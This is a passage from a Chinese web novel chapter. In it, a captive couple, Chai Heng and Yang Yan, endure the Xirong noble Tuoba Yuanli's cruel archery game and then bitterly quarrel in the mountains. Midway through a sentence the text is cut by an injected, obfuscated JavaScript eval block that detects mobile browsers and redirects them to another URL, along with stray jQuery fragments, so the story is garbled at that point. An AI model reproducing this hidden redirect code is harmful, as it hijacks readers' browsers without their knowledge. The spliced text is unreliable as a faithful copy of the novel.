窥探到杨衍神色中一闪而过的失落,拓跋元离更加开怀:“呵呵,真有意思,看来你平日里跟这个夫人关系真的不好嘛。”说完这话,他摁着柴蘅的手,很快又将拉弓的方向挪向了杨衍。
这一回,箭锋的位置恰恰好对准他的心口处,杨衍没有答话,只是面色隐隐有些发白。
柴蘅的呼吸一滞,拓跋元离强行握着她的手将弓箭突然开始使劲。
一个人被绑在刑架上,若射向别的地方还能躲一躲,射向心口,怎么也躲闪不得,千钧一发之际,柴蘅还是用了蛮力挣脱开拓跋元离的手,让那支箭往下猛地一挪。
带着羽毛的箭尖没入皮肉里,发出骇人的声音。
这一箭射中了他的左腿。
杨衍略微阖了阖眼,原本就隐隐有些发白的面色更白了几分。鲜血顺着伤口汩汩地往外流。
拓拔元离虽然没能如愿让这支箭射进杨衍的心口,但让他死不是目的,折腾这几个齐人,看着他们夫妻相残,互相猜忌才是最有意思的。达到目的,拓拔元离快活地笑出声来:
“来人,把这个堵了嘴的放了,送他回到木屋去。”
“至于杨大人,既然你夫人抛弃了你,你就自己一个人在野山上清醒清醒吧。”
他大手一挥,几个西戎兵赶忙过来解开刑架上的绳子,兵分两路,一路将徐见贤送走,一路则架着受了伤的杨衍离开。
没有射中心口,柴蘅无形之中松了一口气。她担忧地看了一眼杨衍的方向,想要离开,却被拓跋元离拦住了去路。
拓跋元离这个人,自幼精通骑射之术,这一辈子活这么久,还没有瞧见过能把一把弯弓使得如此之好的中原女人,一时之间,对眼前这个看似柔弱的姑娘来了兴致。
“杨夫人先别急着走,我不会为难你。再留下于我切磋两局如何?”
他这一句话看似是个问句,但人为刀俎我为鱼肉,柴蘅哪有拒绝的资格,心里一千个一万个不愿意,却也只得干巴巴地笑道:“好。”
……
从拓跋元离的大营被放回来后,徐见贤整个人腿也都是软的,他嘴硬但是身体实诚,回来后猛灌了自己好几口水,这才让自己的心情稍稍平复一些。
西戎人太恐怖。
计长卿也不知道这日子什么时候是个头,只能问徐见贤:“朝廷那边不和谈了,真的要发兵?”
“靖王爷已经接了令牌了,此刻军队已经横在边境,左右打不打,就是大旗一挥的事。”
徐见贤来西戎毕竟迟一些,天子一会儿一个主意,可这一次却不像是开玩笑。和谈有和谈的好处,不动兵戈,国库里的余粮还能够几年天灾挥霍的。可打赢了也有打赢了的好处,将对方摁在地上狠狠地摩擦一回,锤的对方彻底怕了,能消停个二三十年。
计长卿原本是主和的,这一回被拓跋元离磨得彻底没了魂,只觉得倘若真和谈,让拓跋一族这些个变态就这样在边境嚣张也不是什么好事,他彻底支棱了起来了。
“打!”
“希望靖王能威猛不减当年!”
说完这话后,他突然想起自己的另外两个同伴还在那个变态手上。
“柴四跟杨大人呢?”
徐见贤:“阿蘅被留下跟那个拓跋元离切磋骑射之术了,杨大人被扔到了一处野山上,待会儿阿蘅应该会去找他。”
“啊?”
计长卿焦灼地问:“那杨大人伤得重么?”
徐见贤想了想:“流了很多血,但应该死不了。”
有这一句死不了,计长卿稍稍安心了些,抬眼间,就瞥见不远处步履蹒跚走来了两人。
一个是个长得很好看的姑娘,穿着粉色的衣裙,头上插了一根珍珠簪子,虽然衣裙上面沾了土,提着的木盒子也破破烂烂的,但看着就是个大户人家出身的千金。
另一个是个年轻的武夫,长得嘛,斯斯文文,但眼神里戾气很重,看着很凶。
计长卿一眼就判断出:嗯,这两人是齐人。
他还没有来得及说出自己的判断,就瞧见徐见贤已然迎了上去:“楚小将,薛姑娘!”
……
山路艰险,柴蘅拿了一根树枝在手里,拨开地上的碎石和挡路的野草,提了一盏灯,一路在寻找那位“伤患”。
拓跋元离这一回没有太为难她,比试了几局后还真的放她走了,不仅放了她走,还一高兴让人送了不少羊奶跟物资去了他们的小木屋。
柴蘅最开始寻找杨衍的时候是光靠嗓子,可天冷,吸进口中的又都是冷气,喊了两嗓子后,她决定保护自己不变哑巴,于是还是靠着一双眼睛找。好在沿路有新鲜的血迹,柴蘅顺着血迹一路往前,在一个黑漆漆的不见五指的山洞门口,总算发现了倚靠在巨石边的杨衍。
在她来之前,他看那根凸起的箭碍眼,索性直接上手拔了。西戎的箭矢锋利,硬生生扎进骨头里,杨衍的这一番操作让他自己失血有些多,也没什么力气再包扎,就干脆阖着眼休息,等柴蘅来的时候,他那一张冷淡英俊的脸上早已经没有了几分血色,甚至伤口还在汩汩地渗血。
“你怎么不在里面等我?”
外面风大又冷,如果是她,她一定机灵地把自己团成一个球,在相对温暖的山洞里等待救援,
平心而论,杨衍等她等得其实并不算久。
但不知道为什么,在时间流逝的这两个时辰里,他脑子里闪过很多东西。
一来,他总是想起前世她死后,他掀开她的棺木看到的她的腿的模样。像以前一样,他总是会想,她当初是怎么拖着一条断了的腿回去的?在回去的时候她恨不恨他,是不是真的以为那个兽夹是他放的,以为他真的要断她手脚?
二来,他总觉得,如果他待在山洞里,她粗粗找了一圈,没看到他,她就会扭头就走。如果她真的走了,并且放弃找他,他不知道自己该给她找什么样的理由,所以干脆靠在最显眼的地方,给她一个找到他的机会。
而此刻,他想说的话很多,千言万语只剩下了一句:“怕你眼神不好。”
“胡说,连拓跋元离都夸我眼睛好。”
柴蘅蹲下来,一面提着灯放在杨衍的腿前照了照,一面仔细地查看着。她虽然从来没学过医术,但前世腿也被兽夹夹过,分辨他腿断没断的本事还是有的。
只是这灯光太过微弱,外面风大又太冷,柴蘅查看了一会儿还是决定进去再看。
“起来,挪进山洞里。”她拍了拍他,示意他自己走进去。
“扶我一把。”他如今还是个伤患,如果是以前的柴蘅,早早地就来扶他了。但如今,他不说,她不动,这让他很不痛快,但还是开口提醒她。
柴蘅如今对这人的原则是,如果她想并且觉得有必要,她可以主动扶他。但他不能厚颜无耻地开口。
所以她干脆地拒绝他:“自己起来。”
先前徐见贤倒在地上,她都能把他扶起来,换成他,就不行了?杨衍掀起眼皮扫她一眼,眼底的嘲讽明显,但没有半点要动的意思。
毕竟,他想起来,到现在,她也还没有跟他解释,她为什么要选择把箭矢对准他,而不是徐见贤。
他静静地看着她,既等着解释也等着她扶。
柴蘅跟他四目相对,不明白他又是哪根筋搭错了。她想,她能翻山越岭的到这座小野山上来找他已经很够意思了,没道理还要在这里猜他在想什么。
“你动不动?”
“我数到三。”
柴蘅重新把放在地上的灯提起来,她打算数到三,这个人再不动,她扭头就走。
然而,直到她真的数到了三,他也依旧岿然不动。
柴蘅:……
她再好的性子也快磨没了,甚至开始佩服自己,上辈子那么多年是怎么跟这么个狗东西在一起待那么久的。
她扭头就走,不想再管他了。刚走了两步,这才听到他先摩挲着手上的扳指问:
“我是什么洪水猛兽么?如今厌恶我厌恶成这样?你要一辈子都跟我这样是么?”
他话语之间是压抑着的怒意。
柴蘅并不觉得他们之间哪还有一辈子。
她是这么想的,也就这么说了。
“我们哪来一辈子?梦里么?”
杨衍没接这话,只是又继续,这一回他的嗓音平静之中又带着几分疲惫:
“你把箭对准我是因为觉得徐见贤重要,还是单纯因为你们之间没有默契,你觉得他那么菜,必死无疑?”
空荡荡的树林里除了鸟兽的鸣叫声以外,就只剩下这句话。
这句话其实别有深意,在听到这句话的时候,柴蘅其实下意识地是要想要回答后者,因为后者是她当时最本能的反应。
可不知道为什么,听到他这么说的时候,有那么一瞬间,柴蘅想到了很多年以前的自己,在每一次他出手维护薛如月的时候,她其实也都想这么问他一句。
她想问他,他回回帮着薛如月是真的觉得薛如月是对的,还是单纯因为他喜欢薛如月?但她从来没有真的这么问过,因为她知道一旦问了,会让她原本就低到尘埃里的自尊变得更低。
而此刻,他竟然就这样问出了这么一个类似的问题,她本来没有想要报复他的,但他非要顺着杆子往上爬,出于心头仅有的那么一点恶劣的心理,她没有回头,只是学着他上一世的态度尖酸道:“跟徐先生比,你还不配。”
“你说什么?”杨衍险些以为他听错了。
柴蘅又重复了一遍:“跟徐先生相比,你配么?”
她很少说这么刻薄的话,这辈子跟上辈子加起来也就说过这么一次。说完之后,虽然觉得自己变得很坏了,但一下子解气了。
杨衍怎么也没有想到她会这么说。
也没有想到她竟然敢这么说。
他手上的扳指几乎要被他捏碎。
有那么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268498|182196||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一瞬间,他心头仅有的一些理智也没有了,他很想冷笑着质问她,不过是一个卖货的商人,跟她的关系当真就有那么亲近么?徐见贤有跟她同生共死过么?有替她挡过暗箭么和敌人的刀子么?有替她挨过廷杖么?
也不知道是谁,上一世,在他替她挡了那么多次暗箭跟刀子后,巴巴地红着眼睛去给他到寺庙里求了一串铜钱手绳,守在他的床前面一面吧嗒吧嗒地落泪,一面说他永远是她心中最重要的人,都是鬼扯的么?
但很快,这情绪又被他强行压了下去,他冷笑着回敬她。
“是,我不配。”
“所以,跟薛如月相比,你也不配。”他眼眸幽深,一张嘴跟淬了毒似的。
柴蘅听了这话不为所动。
只是想,枉费计长卿还说他脾气变好了,装不了两天,上辈子的真面目就露出来了。
但没关系,这样的话她听太多了。
“不配就不配吧,这辈子祝你跟薛如月有情人终成眷属。”
说完这话,她再也没有回头。
……
柴蘅是自己回来的,她回来的时候,楚堰怀正在跟徐见贤一起忙活着搭新的屋子,薛如月坐在一旁给他俩递木头。
“杨大人呢?”
徐见贤见她形单影只,诧异地放下手里的木材走过去,“你们是路上出事了么,他怎么没跟你一起回来,你可有哪里受伤?”
“没有,他还在山上。”柴蘅自从来到这里以后,每日都很累,此刻并不太想说话,说完这句话后,只想进屋子里歇着,所以她一个眼神都没有给薛如月跟楚堰怀,就直接钻进了屋里。
计长卿刚把小十三哄睡,见柴蘅一回来就不太在乎形象地躺在了床上,也十分震惊。一方面,他很担忧杨衍,那毕竟是他的同僚,另一方面,他看柴蘅这副还能阖上眼休息的样子,也不像是死了丈夫的。所以他私心里判定,杨衍此刻应该还活着,但两人发生了不愉快。
想到这里,他小心翼翼凑到柴蘅面前:“你把杨大人丢下了?”
柴蘅没有否认。
他又继续试探:“你们吵架了?”
“谈不上,我嘲讽了他,”柴蘅说,其实他也嘲讽回来了,但按照她对杨衍的了解,他应该更气一点。
“那他被你丢哪儿了?”
“西山上。”柴蘅想了想,还是把手里提着灯又递给计长卿,叹口气道,“从西山拓跋大营的那个口上去,一路往南走,路上有血迹,你沿着路走,他就半死不活地靠在一个山洞前的大石头上,你要是想去找他可以去。”
顿了顿后,她又继续:“如果你不去,他其实也可以自己回来的。在认路这一方面,杨衍比你我都强,他能自己找回来的。”
计长卿接过柴蘅递给他的灯:“徐先生说你那一箭射中了杨衍的腿,腿受伤了怎么回来?”他能想象到柴蘅为什么不把杨衍带回来,毕竟,他那个脾气不是一般人能受得了的,性子再好的人也总有不高兴的时候,可一个伤在腿上的人自己回来,这就是不太可能的事。
柴蘅回想起自己的上辈子,腿断了依旧能从大坑里爬出来,过程是艰辛了一点,拖着一条废了的腿回侯府的时候也是艰难了一点,最后不也照样熬到了目的地么?
“可以的。”她笃定地开口。
“你怎么知道?”
“因为我的腿曾经也断过。”
计长卿一时失语:“怎么断的?”
柴蘅看了一眼外面的那位,然后笑了:“我不自量力,想要动他一心维护的人,他给我的教训。”
空气瞬间凝滞了。
如果从前有过这样的事情,那他也确实该被丢下。
计长卿默默拿起灯,抬脚就走。刚走两步,薛如月就迎了上来。
“计大人,你是准备去找行之么?我同你一起去。”
刚刚柴蘅回来的时候,她其实也想跟着问一句杨衍在哪里。但碍于她跟柴蘅关系一直不好,所以也就没自讨这个没趣。
眼下看计长卿一个人出来了,她忙跟过去。她是医女,随身携带着药箱,倘若伤的重,能帮上一些。
计长卿犹豫了片刻:“虽然柴四告诉了我路线,但我也不能保证一路不出事,薛姑娘,不是我不带着你,只是你我都不是个能认路的,我怕把你弄丢了,担不起这个责。”
“这样吧,薛姑娘,你先留在这里,我一个人上山去一趟,如果杨大人实在伤重,等回来的时候我再请你医治。”
“可是……”
薛如月刚想再说些什么,就瞧见不远处已经有一个熟悉的身影一瘸一拐地回来了。
他英俊的脸上血色全无,看上去十分狼狈,紧抿着唇,第一句话是:“柴蘅呢?”
计长卿:“比你早回来一点,有些困,在睡觉。”
杨衍目光紧紧地盯着那一扇被关上的门。
她就这么丢下他,她真的能心安理得地睡着?